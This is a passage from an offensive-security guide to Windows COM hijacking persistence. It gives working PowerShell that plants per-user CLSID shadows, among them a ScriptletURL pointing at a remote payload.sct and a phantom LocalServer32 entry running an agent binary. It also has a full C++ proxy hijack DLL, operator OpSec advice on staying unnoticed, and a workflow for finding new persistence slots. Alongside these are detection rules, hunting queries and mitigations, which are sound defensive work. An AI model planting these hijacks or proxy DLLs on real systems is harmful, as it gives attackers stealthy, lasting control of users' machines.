New-Item "HKCU:\Software\Classes\Scripting.Dictionary\CLSID" -Force |
New-ItemProperty -Name '(Default)' -Value '{00000001-0000-0000-0000-0000FEEDACDC}' | Out-Null
$c = 'HKCU:\Software\Classes\CLSID\{00000001-0000-0000-0000-0000FEEDACDC}\InprocServer32'
New-Item $c -Force | New-ItemProperty -Name '(Default)' -Value 'C:\WINDOWS\system32\scrobj.dll' | Out-Null
Set-ItemProperty $c -Name 'ScriptletURL' -Value 'https://<your-cdn>/payload.sct'
OpSec & detection
- Stability caveat: this specific shadow breaks WinRM and
slmgr.vbswith VBScript runtime errors — user/administrator-visible breakage that can burn the persistence ([5]). Prefer ProgIDs with narrow, predictable consumers. ScriptletURLvalue creation is rare legitimately — "detection gold" ([5]); alert on it unconditionally.
Mitigations
- Alert on HKCU ProgID shadows of built-in scripting ProgIDs and on any
ScriptletURLvalue. - Include
HKCU\Software\Classes\<ProgID>\CLSIDin hive-diff baselines.
2.6 Phantom objects and the ClickOnce variant (register what was never there)
MITRE: T1546.015 · Since: methodology by bohops (2018) ([4]) and pentestlab/SpecterOps ([15], [25]); ClickOnce weaponization by CrowdStrike (2025) ([16]) · Affects: any host whose processes activate unregistered CLSIDs (verify per build in lab)
Section 1 defined the two phantom states — orphaned registrations (CLSID present, binary missing) and undefined-but-referenced classes (a process activates a CLSID registered nowhere). Both convert to persistence with a crucial OpSec property: nothing legitimate is overwritten, so nothing breaks and there is no before/after to diff ([16]).
Mechanics (ClickOnce variant, CrowdStrike 2025)
- During a ClickOnce deployment,
rundll32.execallsCoCreateInstance()with a hardcoded CLSID that is not registered —dfsvc.exenormally registers it later at runtime viaCoRegisterClassObject([16]). - Pre-register that CLSID in HKCU with a
LocalServer32pointing at your binary (or atcmd.exe/powershell.exeplus script arguments — fileless-capable, sinceLocalServer32values may carry a command line) ([4], [16]). - At the next deployment, the DCOM-launcher svchost starts your binary to satisfy the activation — inside a legitimate process tree, overwriting nothing.
- Limitations: fires only while
dfsvc.exeis not already running, and adds a 30–50 second delay to the deployment ([16]). The hardcoded CLSID value is not printed in the accessible excerpt of the CrowdStrike post — pull the full blog/slides for it (verify in lab).
Prerequisites
| Requirement | Detail |
|---|---|
| Privileges | Standard user |
| OS/build | ClickOnce in use on the host (variant); otherwise any process with dangling CLSID references |
| Config | Target CLSID confirmed unregistered (ProcMon NAME NOT FOUND) |
| Payload | EXE or command line for LocalServer32; DLL for InprocServer32 phantoms |
Proof of concept
# Phantom-object registration for a CLSID a target process queries but no one owns (illustrative)
$clsid = '{DEADBEEF-0000-0000-0000-000000000000}' # replace with your ProcMon-observed dangling CLSID
New-Item "HKCU:\Software\Classes\CLSID\$clsid\LocalServer32" -Force |
New-ItemProperty -Name '(Default)' -Value "$env:APPDATA\agent.exe -Embedding" | Out-Null
# Verify with ProcMon: the next RegOpenKey for this CLSID returns SUCCESS instead of NAME NOT FOUND
OpSec & detection
- High-signal heuristic: a registered server path whose file does not exist, or a newly-registered CLSID that has no HKLM counterpart at all — the inverse of the classic shadow diff ([16]).
LocalServer32values containing script interpreters or arguments are suspicious;-Embeddingcommand lines with a non-svchost parent are suspicious ([4]).- The 30–50s ClickOnce deploy delay is user-visible in high-deployment environments ([16]).
Mitigations
- Baseline the set of registered CLSIDs per user; alert on additions that lack a machine-wide twin or that point at user-writable paths.
- Alert on
LocalServer32values invokingcmd.exe/powershell.exe/script engines.
2.7 Pass-through proxy DLL persistence (stability tradecraft for every vector above)
MITRE: T1546.015 (enabler tradecraft) · Since: leoloobeek, "Proxying COM For Stable Hijacks", Aug 2019 ([11], [12]) · Affects: any InprocServer32 hijack
A naive hijack DLL that does not implement the class breaks the host: the client asked for real interfaces, gets nothing, and may crash or hang — which is detection by malfunction. The professional pattern is the pass-through (proxy) DLL: the hijack DLL exports DllGetClassObject/DllCanUnloadNow, loads the original server from its HKLM path, and forwards the calls, so the client receives the interface pointers it expects and the host behaves normally ([11]). leoloobeek ships the reference PoC as COMProxy ([12]).
Mechanics
- On
DLL_PROCESS_ATTACH: disable thread-library calls, load the original server DLL (hardcoded path or read from HKLM viaRegGetValue), and queue the payload on a worker thread — never do real work under loader lock. DllGetClassObjectresolves the original DLL'sDllGetClassObjectviaGetProcAddressand forwards all three arguments — the client gets the real class factory.DllCanUnloadNowimplements leoloobeek's "hold the door" trick: spin until the payload thread signals completion, then forward — so COM never unloads the DLL mid-payload.- Gate the payload with a named-event mutex (run once per machine) and, optionally, a host-process check (run only inside explorer.exe).
Prerequisites
| Requirement | Detail |
|---|---|
| Privileges | Standard user (to drop the DLL and plant the shadow) |
| OS/build | Matches target host bitness; correct hive placement (Wow6432Node for 32-bit hosts) |
| Config | Original server path known (from the HKLM registration) |
| Payload | Compiled DLL exporting DllGetClassObject/DllCanUnloadNow (+ DllRegisterServer/DllUnregisterServer for regsvr32 compatibility) |
Proof of concept — full forwarding skeleton ([11])
// hijack.cpp — pass-through COM hijack server (skeleton)
// Build as a DLL; export DllGetClassObject + DllCanUnloadNow via .def
// (+ DllRegisterServer/DllUnregisterServer for regsvr32 compatibility).
#include <windows.h>
typedef HRESULT (STDAPICALLTYPE *_DllGetClassObject)(REFCLSID, REFIID, LPVOID*);
typedef HRESULT (STDAPICALLTYPE *_DllCanUnloadNow)(void);
static HMODULE g_hOrig = NULL; // handle to the ORIGINAL server DLL
static volatile LONG g_lPayloadDone = 0;
static BOOL PayloadAlreadyRan() { // mutex trick (SpecterOps):
HANDLE h = CreateEventA(NULL, TRUE, FALSE, "EVNT-48374635899"); // run-once gate
if (h == NULL) return TRUE; // fail closed -> no double-run
return (GetLastError() == ERROR_ALREADY_EXISTS); // TRUE if a prior instance ran
}
static BOOL IsDesiredHost() { // optional process gating:
wchar_t p[MAX_PATH]; GetModuleFileNameW(NULL, p, MAX_PATH); // only fire in
wchar_t* b = wcsrchr(p, L'\\'); b = b ? b + 1 : p; // the targeted
return (_wcsicmp(b, L"explorer.exe") == 0); // host process
}
static DWORD WINAPI PayloadThread(LPVOID) {
// Runs OFF the loader lock. Keep it short; no re-entrant CoCreateInstance here.
if (IsDesiredHost() && !PayloadAlreadyRan()) {
STARTUPINFOA si = { sizeof(si) }; PROCESS_INFORMATION pi;
CreateProcessA(NULL, (LPSTR)"C:\\Windows\\System32\\calc.exe", // <- payload
NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi);
}
InterlockedExchange(&g_lPayloadDone, 1); // signal DllCanUnloadNow
return 0;
}
BOOL APIENTRY DllMain(HMODULE hMod, DWORD reason, LPVOID) {
if (reason == DLL_PROCESS_ATTACH) {
DisableThreadLibraryCalls(hMod); // less loader-lock noise
wchar_t orig[MAX_PATH] = L"C:\\Windows\\System32\\original_server.dll";
g_hOrig = LoadLibraryW(orig); // or read HKLM path via RegGetValue
QueueUserWorkItem((LPTHREAD_START_ROUTINE)PayloadThread, NULL, 0); // never block DllMain
} else if (reason == DLL_PROCESS_DETACH) {
if (g_hOrig) FreeLibrary(g_hOrig);
}
return TRUE;
}
STDAPI DllGetClassObject(REFCLSID rclsid, REFIID riid, LPVOID* ppv) {
if (!g_hOrig) return CLASS_E_CLASSNOTAVAILABLE; // mirror "class missing" on failure
_DllGetClassObject p = (_DllGetClassObject)GetProcAddress(g_hOrig, "DllGetClassObject");
if (!p) return E_UNEXPECTED;
return p(rclsid, riid, ppv); // client gets the REAL interface
}
STDAPI DllCanUnloadNow(void) { // leoloobeek "hold the door" trick:
while (InterlockedCompareExchange(&g_lPayloadDone, 0, 0) == 0) Sleep(1); // wait for payload
_DllCanUnloadNow p = g_hOrig ? (_DllCanUnloadNow)GetProcAddress(g_hOrig, "DllCanUnloadNow") : NULL;
return p ? p() : S_OK;
}
Exports (.def): DllGetClassObject, DllCanUnloadNow (+ DllRegisterServer/DllUnregisterServer for regsvr32 compatibility) ([11]).
Complementary tradecraft:
- Export forwarding for non-COM exports (SpecterOps 2025 ([15])):
#pragma comment(linker, "/export:DllGetActivationFactory=directmanipulation.DllGetActivationFactory,@3")— generate stub sets with FaceDancer (recon -I target.dll -G) or Koppeling; SharpDllProxy automates the workflow ([27]). ThreadingModelmust match the HKLM original. A mismatch makes COM insert proxy/stub marshaling between apartments (slow; can deadlock UI threads /RPC_E_CANTTRANSMIT); an STA-expecting client may crash; worst case the host crashes at load — which is detection.Bothis the safest choice when unsure ([11], [15]).- DllMain constraints: never block, never make a re-entrant
CoCreateInstance, do minimal work under loader lock — spawn a thread. Gate against repeated instantiation with a mutex/event ([11]). - .NET COMVisible assemblies as payloads: register the managed class with
regasm—InprocServer32becomes the signedC:\Windows\System32\mscoree.dllwithClass,Assembly,RuntimeVersion, and optionallyCodeBasevalues; the CLR loads your assembly. Pure managed payload behind a signed host DLL ([4], [5]). - Registration-free COM: activation-context manifests (
CreateActCtx/ActivateActCtx, app-local manifests, Isolated COM) resolve classes from manifest files instead of the registry — keeps persistence off the CLSID hive entirely, or weaponizes a planted manifest next to a side-loadable binary ([39]). - ScriptletURL / scrobj.dll registration:
InprocServer32=scrobj.dll(signed) + aScriptletURLvalue naming a local/remote.sct→ fileless-ish and a default AppLocker bypass (squiblydoo, subTee) ([5]).ScriptletURLkeys are rare legitimately — detection gold.
OpSec & detection
- The proxy DLL loads the original server via
LoadLibrary— defenders see one unsigned image load (your stub) inside a signed host (Sysmon EID 7 on the host process). DllCanUnloadNowspinning makes the module effectively permanent for the host's lifetime — visible as a long-lived non-Microsoft module in explorer.exe.- A correct proxy is behaviorally silent: no crashes, no missing interfaces. Detection must come from registry telemetry and module inventories, not malfunction.
Mitigations
- Sysmon EID 7 baselines for explorer/taskhostw/browser processes: alert on DLLs loaded from per-user or otherwise non-System32 paths.
- Combine the §4 registry rules with periodic module inventories; a hijack that proxies correctly can only be caught by its registration or its image load.
3. Tooling
| Tool | What it does | Where |
|---|---|---|
| acCOMplice / COMHijackToolkit (David Tulis, NCC Group; DerbyCon 9) | Discovery-and-weaponization toolkit: Extract-HijackableKeysFromProcmonCSV, Find-MissingLibraries, Hijack-CLSID, Hijack-MultipleKeys (frequency testing), a COMinject PoC, ProcMon filters, and masterkeys.csv of known-good targets |
github.com/nccgroup/Accomplice ([13]) |
| COM-Hunter (@nickvourd + @S1ckB0y1337; C# .NET + BOF v3.0) | Operator tool with modes search (HKLM/HKCU), persist, tasksch, treatas, remove |
github.com/nickvourd/COM-Hunter ([14]) |
| Get-ScheduledTaskComHandler.ps1 (enigma0x3) | Enumerates scheduled tasks with ComHandler actions | github.com/enigma0x3/Misc-PowerShell-Stuff ([8]) |
| COMProxy (leoloobeek) | Pass-through hijack DLL PoC, plus TestCOMClient/TestCOMServer for harness testing | github.com/leoloobeek/COMProxy ([12]) |
| oleviewdotnet (James Forshaw) | General COM enumeration/analysis (registrations, interfaces, TypeLibs); see also his "COM in 60 Seconds" talk | github.com/tyranid/oleviewdotnet ([26]) |
| SharpDllProxy, FaceDancer, Koppeling | Export-forwarding stub generators for building stable proxy DLLs | github.com/Flangvik/SharpDllProxy ([27], [15]) |
| UACME (hfiref0x) | Reference corpus including the eventvwr CLSID-hijack UAC crossover | github.com/hfiref0x/UACME ([28]) |
| Atomic Red Team T1546.015 (Red Canary) | Tests #1–#4: ready-made hijack emulation (Test #1 = CAccPropServicesClass {B5F8350B-...} via rundll32.exe -sta) |
atomic-red-team/atomics/T1546.015 ([29]) |
| EVTX-ATTACK-SAMPLES (sbousseaden) | persist_firefox_comhijack_sysmon_11_13_7_1.evtx — real Sysmon telemetry of an MMDeviceEnumerator hijack via Firefox, for detection validation |
github.com/sbousseaden/EVTX-ATTACK-SAMPLES ([30]) |
| bohops' WMI one-liners | gwmi Win32_COMSetting + cmd /c dir existence checks to find orphans (e.g. mobsync.exe {C947D50F-378E-4FF6-8835-FCB50305244D} on 2008/2012) |
bohops.com Part 1 ([4]) |
OpSec: Offensive tooling that writes HKCU keys still lands in Sysmon EID 12/13 telemetry regardless of how "clean" the resulting persistence is. In assessed environments, stage keys with the same APIs a legitimate installer would use, at plausible times, and clean up helper artifacts (ProcMon CSVs, test DLLs) afterwards.
4. Detection and hunting
Registry telemetry — the ground truth. Sysmon EID 12 (registry key create/delete), EID 13 (registry value set), and EID 14 (registry key/value rename) are the primary sensors. Target paths:
HKU\<SID>_Classes\CLSID\*andHKU\<SID>\Software\Classes\CLSID\*—InprocServer32,LocalServer32,TreatAs,ScriptletURL, ProgIDCLSIDvalues;HKU\<SID>_Classes\TypeLib\*\0\win32|win64— the TypeLib-hijack path (§2.4);HKU\<SID>\Software\Classes\mscfile\shell\open\commandand*\Folder\shell\open\command— the eventvwr file-association pivot andDelegateExecuteabuse (WarzoneRAT) ([1], [9]).
High-signal heuristics (stack them; each alone is good, together they are near-deterministic):
InprocServer32(Default) pointing outside%SystemRoot%\System32/Program Files→ user-writable paths;- an HKCU CLSID shadowing an HKLM CLSID with a different server path (baseline diff);
- a registered server path whose file does not exist (phantom/orphan), or a new CLSID with no HKLM twin;
TreatAswritten by non-svchost/non-Office processes; anyScriptletURLkey creation;- TypeLib values containing
script:/http(s):; scrobj.dll image loads in non-script hosts; - command lines:
rundll32.exe -sta {CLSID}(junk suffixes like-staggggstill work),verclsid.exe /S /C {CLSID}(NickTyrer gist; seen in phishing),xwizard.exe RunWizard /taero /u {CLSID},mmc.exe -Embedding <file.msc>with a non-svchost parent,reg.exewithTypeLib+script.
Named rules and analytics:
| Source | Rule / analytic | Focus |
|---|---|---|
| SigmaHQ | registry_set_persistence_com_key_linking.yml ([31]) |
TreatAs subkey writes (cites bohops Part 2) |
| SigmaHQ | registry_set_treatas_persistence.yml ([32]) |
TreatAs persistence specifically |
| SigmaHQ | registry_set_persistence_search_order.yml, registry_set_persistence_com_hijacking_susp_locations.yml, registry_set_persistence_com_hijacking_builtin.yml ([33]) |
Search-order abuse; COM servers in suspicious locations; builtin-class hijacks |
| detection.fyi index | "Modification Of Default System CLSID Default Value", "PSFactoryBuffer COM Hijacking", "Scrobj.dll COM Hijacking" | CLSID default-value edits, proxy/stub hijacks, scrobj loads |
| Elastic (prebuilt) | persistence_suspicious_com_hijack_registry.toml ([34]) |
HKCU-vs-HKLM shadow diff |
| Splunk | "Eventvwr UAC Bypass" ([36]) + COM hijack analytics | mscfile HKCU writes |
| VirusTotal LiveHunt | YARA keyed on the Sigma behavior rule for CLSID COM hijacking (VT blog, Mar 2024) ([35]) | Sample clustering |
| Atomic Red Team | T1546.015 tests #1–#4 ([29]) | Validation/emulation |
An illustrative Sigma-style skeleton encoding the shadow heuristic (illustrative — adapt field names to your pipeline; the named rules above are the production versions):
title: Per-User COM Server Registration Outside Machine Hive # (illustrative)
logsource:
category: registry_set # Sysmon EID 13
detection:
paths:
TargetObject|contains:
- '\Software\Classes\CLSID\'
- '_Classes\CLSID\'
- '\Software\Classes\TypeLib\'
values:
TargetObject|endswith:
- '\InprocServer32'
- '\LocalServer32'
- '\TreatAs'
suspicious_data:
Details|contains:
- 'AppData\'
- 'script:'
- 'http:'
- 'https:'
condition: paths and (values or suspicious_data)
level: high
And an illustrative KQL hunt over Microsoft Defender for Endpoint registry events (illustrative — table/field names per MDE schema; the path and value indicators are from the heuristics above):
// Per-user COM persistence writes: CLSID shadows, TreatAs, TypeLib script: (illustrative)
DeviceRegistryEvents
| where ActionType in ("RegistryValueSet", "RegistryKeyCreated")
| where RegistryKey has_any (@'\Software\Classes\CLSID\', @'_Classes\CLSID\', @'\Software\Classes\TypeLib\')
| where RegistryKey endswith @'\InprocServer32'
or RegistryKey endswith @'\LocalServer32'
or RegistryKey contains @'\TreatAs'
or RegistryValueName == 'ScriptletURL'
or (RegistryKey contains @'\TypeLib\' and RegistryValueData has_any ('script:', 'http:', 'https:'))
| project Timestamp, DeviceName, InitiatingProcessFileName, RegistryKey, RegistryValueName, RegistryValueData
| order by Timestamp desc
Why Autoruns misses most of this. Autoruns enumerates only specific COM categories and does not diff the full HKCU\Software\Classes\CLSID tree against HKLM — a per-user CLSID shadow is invisible in default views. When a Run-key launcher is used (rundll32.exe -sta {CLSID}, mmc.exe -Embedding payload.msc), the visible autorun entry points at a signed Microsoft binary while the payload path hides in the Classes hive ([5]). Practical compensations ([5], [33]):
- Periodically
reg exportHKCU\Software\Classes\CLSID,HKCU\Software\Classes\TypeLib, andUsrClass.dat, and diff against a gold image; - Cross-check Sysmon EID 7 (image loads) of explorer/svchost/taskhostw for DLLs loaded from outside System32;
- Treat every named-rule hit as persistence until proven otherwise — these keys are near-zero noise in enterprise baselines.
5. Mitigations and hardening
- Monitor the merge, not the machine hive. All vectors in this chapter write to
HKCU\Software\Classes(surfaced asHKU\<SID>\Software\ClassesandHKU\<SID>_Classes). Deploy the Sigma/Elastic coverage in §4; the shadow-diff heuristic (HKCU registration diverging from the HKLM twin) is the single highest-value analytic. - Diff hives against gold images. Scheduled exports of
HKCU\Software\Classes\CLSIDand...\TypeLibper user, diffed centrally, catch what Autoruns cannot ([5]). - Module-load hygiene. Alert (Sysmon EID 7) on Microsoft-signed auto-start hosts — explorer.exe, taskhostw.exe, svchost.exe, OUTLOOK.EXE, browsers — loading DLLs from per-user or otherwise non-standard paths, and on scrobj.dll in non-scripting processes.
- Constrain script components.
ScriptletURLvalues andscript:TypeLib values are near-zero legitimate use; block or alert on both, and restrict.sctexecution where the business allows ([5], [17]). - Respond by deleting the shadow. Per-user hijacks are fully reversible: removing the attacker's HKCU keys restores the HKLM registration with no damage to the host — then hunt the payload binary and the initial-access vector that planted it.
Research Lab: Discovering New COM Persistence
Everything in section 2 was found by someone running the workflow below. The class is not exhausted: new auto-start hosts (WebView2-based apps, Electron shells, future shell components) keep bringing new high-frequency activations, and each one is a potential persistence slot.
1. Hunting hypothesis
The open classes of new COM persistence primitives are: (a) undefined-but-referenced CLSIDs in auto-start, Microsoft-signed hosts — activations that fail with NAME NOT FOUND today and can be claimed per-user tomorrow, breaking nothing (CrowdStrike's ClickOnce result proves the pattern generalizes ([16])); (b) high-frequency TypeLib/LIBID shadows of Automation libraries that stock hosts resolve constantly, especially combined with the script: moniker (only one LIBID is publicly burned so far ([17])); (c) TreatAs/AutoTreatAs links under classes loaded by scheduled tasks and shell extensions, which evade InprocServer32-only monitoring ([5], [20]); and (d) WoW64 reflection gaps — 32-bit hosts whose Wow6432Node Classes path defenders rarely baseline ([4], [23]).
2. Enumeration — building the target list
Static orphan/phantom sweep (bohops method ([4])) — find registered servers whose binaries are gone:
$inproc = gwmi Win32_COMSetting | ?{ $_.InprocServer32 -ne $null }
$paths = $inproc | %{ $_.InprocServer32 }
foreach ($p in $paths){ $p; cmd /c dir $p > $null } # "File Not Found" = orphan
Repeat for LocalServer32; normalize command-line arguments and environment variables before testing existence. acCOMplice's Find-MissingLibraries automates this, and Extract-HijackableKeysFromProcmonCSV post-processes captures ([13]). Historical hit: mobsync.exe {C947D50F-378E-4FF6-8835-FCB50305244D} on Server 2008/2012 ([4]).
Dynamic dangling-reference discovery (ProcMon). Filters: Operation is RegOpenKey + Result is NAME NOT FOUND + Path ends with InprocServer32, optionally narrowed to target processes (msedgewebview2.exe, OUTLOOK.EXE, Teams.exe). Capture during logon and application launches. Every hit is a CLSID a live process tries to activate that you can register in HKCU ([15], [16]).
Task-driven discovery. Get-ScheduledTaskComHandler.ps1 ([8]) or the §2.2 PowerShell loop → user-context ComHandler tasks with logon/idle triggers = scheduled triggers you can shadow.
Frequency scoring. A hijack is only as good as its trigger rate. Options: boot/session ProcMon traces → count RegOpenKey hits per CLSID per process per hour; ETW (Microsoft-Windows-COMRuntime / registry ETW); or acCOMplice's Hijack-MultipleKeys — hijack several candidates at once with a logging DLL and count activations over days ([13]). Score = trigger frequency x host desirability (explorer/browsers/taskhostw > niche processes) x breakage risk.
3. Triage heuristics — a target is promising if...
- the activating process is an auto-start, Microsoft-signed host in a normal user session (explorer.exe, taskhostw.exe, browsers/WebView2, Outlook);
- activation happens at logon or on a frequent, predictable cadence (task trigger, audio-stack use, shell start);
- the class is third-party, abandoned, or undefined — more likely to survive Windows updates than in-box Microsoft classes (CrowdStrike's point ([16]));
- the HKLM original exists with a known
ThreadingModel(so a pass-through proxy keeps the host functional), or nothing exists at all (phantom — nothing to break); - no HKCU shadow is already present, and the target's bitness/hive placement (including
Wow6432Node) is understood; - the payload path can be staged somewhere plausible (
%APPDATA%\Microsoft\...), matching ITW precedent ([19]).
4. Analysis workflow — validating a candidate
Static first: dump the class registration with oleviewdotnet ([26]); record the original server path, ThreadingModel, ProgID/LIBID links, and whether the class is a shell extension (extra shell-specific values like ShellFolder attributes may be required — see the eventvwr recipe, §2.1).
Dynamic harness: implement the §2.7 pass-through DLL against the original server and unit-test it with a controlled client — leoloobeek ships TestCOMClient/TestCOMServer for exactly this ([11], [12]). Then soak-test the real host:
# Soak loop sketch: repeatedly launch/kill the host and watch for instability (illustrative)
1..50 | % {
Start-Process explorer.exe; Start-Sleep 5
Get-WinEvent -LogName Application -MaxEvents 5 |
?{ $_.ProviderName -eq 'Windows Error Reporting' } # WerFault breadcrumb
Stop-Process -Name explorer -Force; Start-Sleep 2
}
Watch for WerFault entries, UI hangs, and proxy-marshal stalls. Verify: ThreadingModel matches HKLM; the payload is gated (mutex + host check) so it runs once; 32/64-bit hive placement is correct; and DllCanUnloadNow lets the payload finish before unload ([11]).
5. Fuzzing / mutation ideas
Mutation in this category means systematically varying the registration, not the bytes (methodology derived from the vectors above; treat specific outcomes as verify-in-lab):
ThreadingModelmatrix (Apartment/Free/Both/Neutral/absent) against STA- and MTA-hosted clients — map which mismatches produce silent proxy/stub insertion vs. hangs vs. crashes; crashes tell you the client is apartment-sensitive and the proxy must be exact.- Value-type and moniker mutations:
REG_SZvsREG_EXPAND_SZwith unexpanded variables;script:with local path vs. remote URL in TypeLib values;ScriptletURLon scrobj-backed classes — observe which combinations oleaut32/scrobj actually honor. - Link-type mutations:
TreatAsvsAutoTreatAsvs direct shadow on the same class; check which are honored per client and which telemetry each generates. - Hive-placement mutations: 64-bit host vs.
Wow6432Node-only shadow;HKU\<SID>_ClassesvsHKU\<SID>\Software\Classes— confirm which underlying store each monitored path surfaces from ([4], [23]). - Shell-only knobs:
LoadWithoutCOMandShellFolderattribute combinations for shell-loaded classes ([28]).
6. From lead to primitive — proving exploitability
A candidate graduates to a persistence primitive when you can demonstrate, in a clean VM: (1) the target host loads your DLL on the expected trigger (confirm via ProcMon Load Image or Sysmon EID 7); (2) the payload executes exactly once per intended scope (mutex gate works across logons); (3) host functionality is intact — no WerFault, no UI regression, the proxied class answers real calls (the squiblydoo lesson: a hijack that breaks slmgr.vbs/WinRM is a detection, not a persistence ([5])); (4) it survives logoff/logon and reboot; and (5) it produces the expected, minimal telemetry set (§4) — document the EID 12/13 writes and EID 7 loads so the blue team can validate their rules against your emulation (Atomic Red Team tests #1–#4 are the baseline ([29]), and EVTX-ATTACK-SAMPLES shows what real telemetry looks like ([30])).
7. Further reading
- bohops, Abusing the COM Registry Structure Part 2 — loading techniques and evasion ([5])
- SpecterOps, Revisiting COM Hijacking (2025) — modern hosts, export forwarding, OpSec ([15])
- leoloobeek, Proxying COM For Stable Hijacks — the pass-through pattern ([11])
- CrowdStrike, New Abuse of the ClickOnce Technology: Part 2 — phantom-object persistence ([16])
- David Tulis / NCC Group, acCOMplice — discovery methodology and tooling ([13])
- MDSec, Persistence Part 2 – COM Hijacking — ComHandler walkthrough ([10])
References
[1] Component Object Model Hijacking (T1546.015) — MITRE ATT&CK (updated 2025) — https://attack.mitre.org/techniques/T1546/015/ [2] Merged View of HKEY_CLASSES_ROOT — Microsoft — https://learn.microsoft.com/en-us/windows/win32/sysinfo/merged-view-of-hkey-classes-root [3] TreatAs key — Microsoft — https://learn.microsoft.com/en-us/windows/win32/com/treatas [4] Abusing the COM Registry Structure: CLSID, LocalServer32, & InprocServer32 — bohops (2018) — https://bohops.com/2018/06/28/abusing-com-registry-structure-clsid-localserver32-inprocserver32/ [5] Abusing the COM Registry Structure (Part 2): Hijacking & Loading Techniques — bohops (2018) — https://bohops.com/2018/08/18/abusing-the-com-registry-structure-part-2-loading-techniques-for-evasion-and-persistence/ [6] COM Object hijacking: the discreet way of persistence — G-Data (2014) — https://www.gdatasoftware.com/blog/2014/10/23941-com-object-hijacking-the-discreet-way-of-persistence [7] Userland Persistence with Scheduled Tasks and COM Handler Hijacking — enigma0x3 (2016) — https://enigma0x3.net/2016/05/25/userland-persistence-with-scheduled-tasks-and-com-handler-hijacking/ [8] Get-ScheduledTaskComHandler.ps1 — enigma0x3 — https://github.com/enigma0x3/Misc-PowerShell-Stuff/blob/master/Get-ScheduledTaskComHandler.ps1 [9] "Fileless" UAC Bypass Using eventvwr.exe and Registry Hijacking — enigma0x3 (2016) — https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/ [10] Persistence Part 2 – COM Hijacking — Dominic Chell / MDSec (2019) — https://www.mdsec.co.uk/2019/05/persistence-the-continued-or-prolonged-existence-of-something-part-2-com-hijacking/ [11] Proxying COM For Stable Hijacks — leoloobeek (2019) — https://adapt-and-attack.com/2019/08/29/proxying-com-for-stable-hijacks/ [12] COMProxy — leoloobeek — https://github.com/leoloobeek/COMProxy [13] acCOMplice (COMHijackToolkit) — David Tulis / NCC Group (DerbyCon 9) — https://github.com/nccgroup/Accomplice [14] COM-Hunter — @nickvourd + @S1ckB0y1337 — https://github.com/nickvourd/COM-Hunter [15] Revisiting COM Hijacking — SpecterOps (2025) — https://specterops.io/blog/2025/05/28/revisiting-com-hijacking/ [16] New Abuse of the ClickOnce Technology: Part 2 — CrowdStrike (2025) — https://www.crowdstrike.com/en-us/blog/new-abuse-of-the-clickonce-technology-part-two/ [17] Hijacked and Hidden: New Backdoor and Persistence Technique — ReliaQuest (2025) — https://reliaquest.com/blog/threat-spotlight-hijacked-and-hidden-new-backdoor-and-persistence-technique/ [18] Turla's Unique Outlook Backdoor — ESET (2018) — https://www.welivesecurity.com/2018/08/22/turla-unique-outlook-backdoor/ [19] "Cyber Conflict" Decoy Document (Sednit/APT28) — Cisco Talos — https://blog.talosintelligence.com/cyber-conflict-decoy-document/ [20] UNC2529: Triple Double: Trifecta Phishing Campaign — FireEye/Mandiant (2021) — https://www.fireeye.com/blog/threat-research/2021/05/unc2529-triple-double-trifecta-phishing-campaign.html [21] Beyond good ol' Run key, Part 84 — Hexacorn (2018) — https://hexacorn.com/blog/2018/04/24/beyond-good-ol-run-key-part-84/ [22] COM-Object-hijacking — 3gstudent — https://github.com/3gstudent/COM-Object-hijacking [23] Use COM Object hijacking to maintain persistence: Hijack Outlook — 3gstudent — https://3gstudent.github.io/backup-3gstudent.github.io/Use-COM-Object-hijacking-to-maintain-persistence-Hijack-Outlook/ [24] COM Hijacking — HackTricks — https://hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/com-hijacking.html [25] Persistence – COM Hijacking — pentestlab (2020) — https://pentestlab.blog/2020/05/20/persistence-com-hijacking/ [26] oleviewdotnet — James Forshaw — https://github.com/tyranid/oleviewdotnet [27] SharpDllProxy — Flangvik — https://github.com/Flangvik/SharpDllProxy [28] UACME — hfiref0x — https://github.com/hfiref0x/UACME [29] Atomic Red Team T1546.015 — Red Canary — https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1546.015/T1546.015.md [30] EVTX-ATTACK-SAMPLES — sbousseaden — https://github.com/sbousseaden/EVTX-ATTACK-SAMPLES [31] registry_set_persistence_com_key_linking.yml — SigmaHQ — https://github.com/SigmaHQ/sigma/blob/master/rules/windows/registry/registry_set/registry_set_persistence_com_key_linking.yml [32] registry_set_treatas_persistence.yml — SigmaHQ — https://github.com/SigmaHQ/sigma/blob/master/rules/windows/registry/registry_set/registry_set_treatas_persistence.yml [33] SigmaHQ registry_set rules directory — SigmaHQ — https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/ [34] persistence_suspicious_com_hijack_registry.toml — Elastic — https://github.com/elastic/detection-rules/blob/main/rules/windows/persistence_suspicious_com_hijack_registry.toml [35] COM Objects Hijacking — VirusTotal (2024) — https://blog.virustotal.com/2024/03/com-objects-hijacking.html [36] Eventvwr UAC Bypass — Splunk — https://research.splunk.com/endpoint/9cf8fe08-7ad8-11eb-9819-acde48001122/ [37] APT28 (G0007) — MITRE ATT&CK — https://attack.mitre.org/groups/G0007/ [38] ComRAT (S0126) — MITRE ATT&CK — https://attack.mitre.org/software/S0126/ [39] Registration-Free COM Interop — Microsoft — https://learn.microsoft.com/en-us/dotnet/framework/deployment/registration-free-com-interop